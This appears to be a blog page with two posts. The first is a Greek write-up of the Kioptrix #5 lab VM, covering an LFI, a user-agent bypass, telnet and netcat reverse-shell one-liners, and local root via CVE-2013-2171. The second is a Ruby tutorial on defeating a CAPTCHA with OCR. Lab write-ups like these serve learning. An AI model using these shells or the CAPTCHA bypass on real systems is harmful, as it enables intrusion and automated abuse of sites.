Kioptrix #5 Writeup (Greek)

Kioptrix #5 Writeup (Greek)


.Από τις πιο διάσημες "σειρές" σε boot2root VMS είναι τα Kioptrix.
Τα περισσότερα φτιαγμένα από τον loneferret ο οποίος είναι μέλος της offensive security.
Περισσότερες πληροφορίες για τον loneferret και τα kioptrix vms εδώ

Εφόσον έχω λύσει τα προηγούμενα 4 VMS και είχα λίγο χρόνο είπα να γράψω ένα μικρό writeup για το 5ο VM της σειράς που βγήκε το 2014.
Link για το VM θα βρείτε εδώ

Δίνοντας την εντολή 
       
            netdiscover -r 192.168.10.0/24
 

Βρήκα την IP του VM  που στην περίπτωση μου είναι 192.168.10.133


Με ένα απλό nmap scan είδα ότι υπάρχουν ανοιχτά δύο ports που τρέχουν webservers και ο server τρέχει FreeBSD


Επισκεύθηκα την port 80 και είδα το κλασικό μήνυμα "It Works!" του Apache
Ενώ στην port 8080 υπήρχε το μήνυμα "Forbidden" που πάει να πει ότι δεν έχω αρκετά δικαιώματα για να δω την σελίδα... ακόμη!

Με μια μικρή ματιά στον κώδικα της default σελίδας που τρέχει στην port 80 θα δούμε commented out ένα URL για το application "pChart"


Κάνοντας ένα search στο local copy της exploit database 
Είδα ότι  υπάρχει ένα record για την ακριβώς ίδια έκδοση που τρέχει ο Server

       
            searchsploit pchart
 

Και να το πρώτο κενό ασφαλείας τύπου LFI


Δοκίμασα με διάφορους τρόπους να κάνω log poisoning.
Και include τα access log του apache με καμία τύχη δυστυχώς.
Παρόλο που τα Logs είναι readable δεν φαίνεται να εκτελείτε php κώδικας μέσω τον logs.
Επίσης ενώ τα PHP Wrappers δούλευαν δεν είχα καμία τύχη και με αυτά.
Έτσι έψαχνα για common config files πάνω στον server.

O Server είναι FreeBSD οπότε το access.log και τα httpd.conf έχουν διαφορετικά locations.
Το default installation layout για κάθε OS υπάρχει στην σελίδα του apache


Το δεύτερο instance του apache σύμφωνα με το config δέχεται connections μόνο από τον user agent
"Mozilla4_browser"
Με ένα firefox plugin (user agent switcher) άλλαξα τον user agent μου σε αυτόν του config και πλέον μπορούσα να δω ένα directory με όνομα "phptax"


Είδα ότι υπάρχει ένα metasploit module παρόλα αυτά εγώ διάλεξα να δοκιμάσω την τύχη μου χωρίς frameworks.
Παρατήρησα ότι δεν μπορούσα να πάρω shell μέσω netcat,python etc ενώ έβλεπα reverse connections.
Όλα τα τεράστιο commands φαινόντουσαν να μην δουλεύουν.
Έτσι χρησιμοποιώντας βασικές εντολές μάζεψα πληροφορίες για το τι binaries υπάρχουν στο σύστημα, έγραφα το output σε κάποιο αρχείο στο  /tmp/ και διάβαζα μέσω ενός απλού reverse netcat connection τα αποτελέσματα.

Δεν υπάρχει python στο σύστημα, μόνο perl, δεν υπάρχει το wget, προφανώς τρέχει το bsd version του netcat.

Ενώ μπόρεσα να πάρω shell μέσω της perl ο καλύτερος τρόπος για να πάρω ένα stable shell ήρθε ενώ διάβαζα τον κώδικα του  payload  "cmd/unix/reverse.rb" του metasploit.

Χρησιμοποιώντας λοιπόν το παρακάτω payload είχα το πρώτο μου shell (πρέπει να είναι urlencoded)

       
            sh -c '(sleep 3922|telnet 192.168.10.131 4444|while : ; do sh && break; done 2>&1|telnet 192.168.10.131 4445 >/dev/null 2>&1 &)'





Κατευθείαν χρησιμοποίησα το netcat για να πάρω ένα tty shell.

       
            rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.10.131 1234 >/tmp/f


Υπήρχε ένα πολύ μικρό error γιατί δεν υπήρχε το TERM variable για τον χρήστη μου.
Το οποίο λύθηκε αρκετά εύκολα με τις παρακάτω εντολές

       
           TERM=vt100; export TERM


Το τελευταίο πράγμα που έμενε ήταν να κάνω escalate τα privileges μου.
Έψαξα ξανά στην exploitdb.
Το target ήταν vulnerable στο  CVE-2013-2171
Έτσι αντέγραψα σε ένα local temp directory το local exploit  και το μετέφερα μέσω netcat στο vulnerable machine.
Compile και execute  και ήμουν πλέον root.











Read More

Captcha decoding with Ruby

Captcha decoding with Ruby



What we will need:

  • Ruby
  • tesseract-ocr gem
  • RMagick gem



The original CAPTCHA


First of all the image is too small we need to resize it! (save the image as "1.png")


require 'tesseract'
require 'RMagick'
include Magick
img_raw = ImageList.new("1.png")
img_res = img_raw.resize(600,250)
img_res.display

Here is the result!


Now we will we extract the letters
Let's try to increase the contrast!


require 'tesseract'
require 'RMagick'
include Magick
img_raw = ImageList.new("1.png")
img_res = img_raw.resize(600,250)
img_lev = img_res.level(0,0.04)
img_lev.display


Another Big Image

[Image: lNzrmCm.png]

Let's make it easier for "tesseract"!
Let's sharpen the image!


PHP Code:

require 'tesseract'
require 'RMagick'
include Magick
img_raw = ImageList.new("1.png")
img_res = img_raw.resize(600,250)
img_lev = img_res.level(0,0.04)
img_fin = img_lev.sharpen(0,5)
img_fin.display


Image 

[Image: Y772Rh5.png]

Everything seems more clear so let's start the decoding!


require 'tesseract'
require 'RMagick'
include Magick
img_raw = ImageList.new("1.png")
img_res = img_raw.resize(600,250)
img_lev = img_res.level(0,0.04)
img_fin = img_lev.sharpen(0,5)
eng = Tesseract::Engine.new
eng.language = :eng
eng.whitelist = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
text = eng.text_for(img_fin).strip.delete(' ')
puts "Found string '#{text}'"

So I am creating a new "tesseract" engine object.
Telling it that the language is English and look only for specific characters! (In this case only capital letters)

The result!



The success rate is not really high!

Read More